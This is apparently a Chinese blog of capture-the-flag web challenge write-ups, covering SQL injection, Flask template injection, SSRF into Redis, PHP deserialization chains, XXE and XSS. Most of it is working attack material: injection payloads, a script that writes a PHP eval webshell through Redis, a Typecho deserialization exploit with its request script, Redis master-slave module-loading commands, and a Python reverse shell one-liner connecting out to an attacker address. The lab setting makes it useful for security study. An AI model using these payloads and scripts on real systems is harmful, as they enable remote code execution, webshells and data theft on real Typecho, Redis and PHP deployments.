注册一个用户,发现可以修改密码,猜测是二次注入
注册1",changepwd.php回显You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" and pwd='c4ca4238a0b923820dcc509a6f75849b'' at line 1
报错注入
注册处username注入反映在密码修改界面
username,email过滤

1
空格 @ order limit mid substr and right left

1
2
1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
XPATH syntax error: '~article,flag,users~'
1
2
1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#
XPATH syntax error: '~flag~'
1
2
1"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#
XPATH syntax error: '~RCTF{Good job! But flag not her'

updatexml()输出有长度限制,32位

1
2
1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')regexp('^r')),0x7e),1)#
XPATH syntax error: '~name,pwd,email,real_flag_1s_her'
1
2
1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#
XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

有用的数据应该在xxx之后

1
2
1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here!='xxx')),0x7e),1)#
XPATH syntax error: '~flag{d507ee9e-9482-426f-8f0d-1c'

截取字符串的函数貌似都差不多过滤了
啊还可以逆序输出啊….

1
2
1"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here!='xxx'))),0x7e),1)#
}5de64062c7c1-d0f8-f624-2849-e9

regexp盲注

正常的语句为:select username from users where id = 1
正常返回:admin
构造语句:
select (select username from users where id = 1) regexp ‘^a’ 返回真(1)
select (select username from users where id = 1) regexp ‘^b’ 返回假(0)
因为这里’^a’是匹配以a开头的字符串,原来正常返回的就是admin,所以会返回真。
继续就可以使用 regexp ‘^ad’…读出想要的数据

可以通过正则匹配来输出指定数据
以此来输出f开头的内容

1
1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')regexp('^r'))),1))#

[GYCTF2020]FlaskApp

熟悉下
解密界面输入b64的会有回显

'DEBUG':True
解密界面只要提交无法b64decode的value就可以回显报错界面,可以借此得到一些源码信息

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
​res = render_template_string(tmp)

有个waf,应该过滤了些东西

之前写iscc的时候找到的exp模板改一改(X
大概过滤了eval import popen os ls(猜的

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %} #找到能用的function
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'ev'+'al' in b.keys() %}
{{ b['ev'+'al']('__imp'+'ort__'+'("o'+'s")'+'.po'+'pen'+'("l'+'s").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

回显

1
app.py static templates

读app.py

1
2
3
4
def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
for x in black_list :
if x in str.lower() :
return 1

然后,ls /

1
app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys this_is_the_flag.txt tmp usr var

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'ev'+'al' in b.keys() %}
{{ b['ev'+'al']('__imp'+'ort__'+'("o'+'s")'+'.po'+'pen'+'("c'+'at /this_is_the_fl'+'ag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

class:获得当前对象的类
bases:列出其基类
mro :列出解析方法的调用顺序,类似于bases
subclasses():返回子类列表
dict : 列出当前属性/函数的字典
func_globals返回一个包含函数全局变量的字典引用

[GKCTF2020]cve版签到

network:
hint:flag in localhost
tips:Host must be end with ‘123’

让url=127.0.0.1
但是题目说you can just view *.ctfhub.com
结合题目在php/7.3.15版本下寻找能绕过.ctfhub.com的cve
CVE-2020-7066

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断

payload:?url=http://127.0.0.123%00.ctfhub.com

[GKCTF2020]EZ三剑客-EzWeb

注释<!--?secret-->
访问得回显

此处容器有重启过所以ip地址会不同,实际上是一致的
给了内网ip,就可以考虑ssrf
利用burpsuite扫描内网

线程减小,太快会429
(找返回长度明显和其他不一样的包来看)
回显

1
被你发现了,但你也许需要试试其他服♂务,就在这台机子上! ...我说的是端口啦1

ip为:173.57.147.11
同样的步骤,扫端口,这个时候可能就凸显经验的重要性了…直接猜几个重要端口

sqlserver: 1433
MySQL: 3306
Oracle : 1521
http: 80
https: 443
redis: 6379
回显

1
-ERR wrong number of arguments for 'get' command 1

端口是6379

CTF中SSRF的一些trick
浅析Redis中SSRF的利用

在RESP中,协议的不同部分始终以”\r\n”(CRLF)结束。

利用绝对路径写webshell
执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#py3
import urllib.parse
protocol="gopher://"
ip="173.73.182.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print (payload)

得到payload
gopher://173.73.182.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
读flag文件
http://173.73.182.11/shell.php?cmd=system('cat$IFS$9/flag');

[GKCTF2020]EZ三剑客-EzTypecho

给了源码
typecho漏洞分析与HCTF实战

__destruct()是在对象被销毁的时候自动调用
__wakeup()在反序列化的时候自动调用
__toString()是在调用对象的时候自动调用。
__get()会在读取不可访问的属性的值的时候调用

在页面尝试,发现

源码:
install.php line231

1
2
3
4
5
6
if(!isset($_SESSION)) { die('no, you can\'t unserialize it without session QAQ');}
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

反序列化利用点↑,跟进get()函数
并且这里的$db = new Typecho_Db($config['adapter'], $config['prefix']);调用了对象

cookie.php line83

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

1.cookie值是否存在
2.$value是否是一个数组
利用cookie或者POST传入
注意到在之前的代码中调用过了对象,可以利用__toString()
接下来全局搜索__toString() 找到可以利用的类(Typecho_Feed())
feed.php line284

1
2
3
4
5
6
7
8
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
//给师傅们减轻负担QAQ,要加上$item['category'] = array(new Typecho_Request());和$this->_type防止500
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

注意到$item['author']->screenName,跟进$__items

feed.php line112

1
private $_items = array();

$_items是一个私有变量,由此可以联想到__get()函数
当执行$item['author']->screenName时已经用到了这个函数
跟进__get()全局搜索,最后可以追溯到(Typecho_Request())
request.php line295

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

再跟进__applyFilter($value)
request.php line159

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

注意到这里的call_user_func(),可以执行命令

//给师傅们减轻负担QAQ,要加上$item[‘category’] = array(new Typecho_Request());和$this->_type防止500

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Typecho_Feed
{
const ATOM1 = 'ATOM 1.0';

private $_type;
private $_items;

public function __construct() {
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}

class Typecho_Request
{
private $_params = array('screenName'=>'system("cat /flag")');
private $_filter = array('assert');
}

$poc = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);

echo base64_encode(serialize($poc));
?>

install.php line59

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

所以带上finish参数和Referer
同时检测了是否有$__SESSION,但是在文件中session_start()已被注释
Session 上传进度

exp.py

1
2
3
4
5
6
7
import requests
url='http://b114cfc5-a3ba-4ce4-be1c-41de9496d3a7.node3.buuoj.cn/install.php?finish=1'
files={'file':123}
headers={'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOToic3lzdGVtKCJjYXQgL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE5OiJzeXN0ZW0oImNhdCAvZmxhZyIpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==',
'Referer':'http://b114cfc5-a3ba-4ce4-be1c-41de9496d3a7.node3.buuoj.cn/install.php'}
re=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS": "123"})
print(re.text)

[GKCTF2020]老八小超市儿

渗透测试|shopxo后台全版本获取shell复现
蚁剑连上http://be4a445c-99ff-416a-ab18-dfe2fc32de64.node3.buuoj.cn/public/static/index/default/1.php,在flag中发现flag在root下,但是root无法访问,在根目录下发现auto.sh

1
2
#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

找到这个py

1
2
3
4
5
6
7
8
9
10
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

直接把os.system()替换成os.system('cat /root/flag>/1.txt')

[网鼎杯 2020 玄武组]SSRFMe

ssrf+redis
redis安全学习笔记
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';//内网ip检测
}
else
{
$ch = curl_init();//curl ssrf
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

首先本地访问hint.php,需要绕过check_inner_ip()
通过parse_url获取$url的hostname,判断是否是本地地址,只有非本地地址才会用curl访问
利用parse_url和libcurl的对curl的解析差异绕过check_inner_ip()

php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host,后面的@会被忽略

对于https://evil@baidu.com这样的域名进行解析时,php获取的host是`evil@baidu.com,但是libcurl获取的host却是evil.com`

buu中0.0.0.0默认本地
/?url=http://0.0.0.0/hint.php
(实际上应该做成这样/?url=http://xx@127.0.0.1:80@x.x/hint.php)
得到回显

1
2
3
4
5
6
7
8
string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"

得到redis的密码是root
ssrf+redis getshell方式:

1.绝对路径写webshell。
2.写ssh公钥
3.利用crontab计划任务反弹shell(仅限centos)
4.主从复制RCE

Redis 基于主从复制的 RCE 利用方式
浅析Redis中SSRF的利用

主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力
在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件

因为redis采用的resp协议的验证非常简洁,所以可以采用python模拟一个redis服务的交互,并且将备份的rdb数据库备份文件内容替换为恶意的so文件,然后就会自动在节点redis中生成exp.so,再用module load命令加载so文件即可完成rce,这就是基于主从复制的redisrce的原理

exp:
https://github.com/LoRexxar/redis-rogue-server
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

先生成.so文件,开启监听端口6379

1
python3 1.py --rhost 127.0.0.1 --lhost your_ip

gopher协议,可以一次性完成密码验证以及恶意命令执行

确认在redis上执行的命令(利用gopher协议url二次编码):
(buu不通外网,开linux-labs靶机)

1
2
3
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

建立数据库备份文件夹(tmp有权限)

1
2
3
4
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof your_ip 6666
quit

数据库备份文件替换为.so恶意文件
监听主从复制传输exp.so

1
2
3
4
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev your_ip 6663
quit

加载.so文件,反弹shell


~我鸽~


[EIS 2019]EzPOP

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

1
2
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

谈一谈php://filter的妙用

exit()的出现导致即使成功写入一句话,也难以执行。
可以利用php base64_decode()特性来绕过exit(),利用php://filter/write=convert.base64-decode/resource=写入文件
PHP在base64 decode时,仅仅会将合法字符组合后解码,这也意味着它会跳过不在编码字符范围的字符
在解码时,< ? ; > 空格将会被忽略
base64字符范围[a-zA-Z1-9]+/

溯源$data

1
2
3
4
5
6
7
8
9
10
11
12
13
1. $data = $this->serialize($value);        //line92
2. B::set($name, $value, $expire = null) //line72
3. //line33 classA
public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

选择更加容易控制的的A::complete作为shell输入点
A::cleanContents实现返回array_flip()与输入参数相同内容的键值,为了方便构造shell,可以使其为空

1
2
$cache=array();
$complete='<?php @eval($_POST["a"]);?>';

赋值,最后的返回值为

1
[[],"<?php @eval($_POST[\"a\"]);?>"]

双引号被转义,base64编码绕过,可以通过后面对$this->options[‘serialize’]的赋值,对$data进行解码

1
2
3
4
5
6
7
8
9
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];//base64_decode

return $serialize($data);//base64_decode($data)
}

Base64编码解码原理详解

3*8bit=4*6bit
4个字节为一组解码

len($shell)=29,所以加上三个字符凑齐32(4的倍数)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
protected $store;
protected $key;
protected $expire;

public function __construct($store,$key,$expire)
{
$this->key=$key;
$this->expire=$expire;
$this->store=$store;
}
}

class B{
public $option=[
'serialize'=>'base64_decode',
'data_compress'=>false,
'prefix'=>'php://filter/write=convert.base64-decode/resource=uploads/'

];
}

$b=new B();
$a=new A($b,'exp.php',0);
$a->autosave=false;
$a->cache=array();
$a->complete=base64_encode('aaa'.base64_encode('<?php @eval($_POST["a"]); ?>'));


echo urlencode(serialize($a));

[网鼎杯 2020 白虎组]PicDown

一个text框,随意输入后出现?url=
../../../etc/passwd//用户的一些基本属性
回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh

/proc/self/cmdline//命令行文件
回显

1
python2 app.py

读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

在linux中,SECRET_FILE打开了却没有进行关闭,只是在外部remove了,在该进程的pid目录下的 fd 文件描述符目录下会存有这个文件的fd
?url=../../../proc/self/fd/3
GET /no_one_know_the_manager?key=30d7Ndh5ALdcQpgi6AS97YSRYK8EC0JOMDOWtye52Bo=&shell=ls HTTP/1.1
没回显反弹shell

1
python -c  'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

[MRCTF2020]Ezaudit

扫描,源码泄露,www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

注意一下mt_rand()的问题
PHP mt_rand()随机数安全

伪随机是由可确定的函数(常用线性同余),通过一个种子(常用时钟),产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。

现在我们知道在之前已经生成过publilc_key所以可以用pubkey还原种子,再算出prikey

php_mt_seed
公钥转换:

1
2
3
4
5
6
7
8
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
key = 'KVQP0LdJKRaV3n9D'
m = ''
for i in key:
for j in range(len(s)):
if i == s[j]:
m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)


seed=1775196155

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
mt_srand(1775196155);

function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
$Private_key= private_key();
echo $Public_key . "<br>";
echo $Private_key ."<br>";
?>

注意php版本
私钥XuNhoueCDCGc
密码'or 1=1#

[BSidesCF 2019]SVGMagic

SVG 是使用XML 来描述二维图形和绘图程序的语言

所以实际上是xml,利用xxe读文件

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file://etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

看了下原题是有提示的,提示flag.txt在工作目录下
/proc/self表示当前进程目录,有file:///proc/self/cwd/flag.txt

cwd 即Current Working Directory

[CISCN2019 华东北赛区]Web2

xss一直都没怎么接触
尝试

1
<script>alert(1)</script>

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<meta http-equiv="content-security-policy" content="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'">
````
扔进https://csp-evaluator.withgoogle.com/ 里看看
>Missing object-src allows the injection of plugins which can execute JavaScript.

这里的`'unsafe-inline' 'unsafe-eval'`允许内联js代码执行,用`window.location.href`绕过csp
它会自动刷新执行js代码
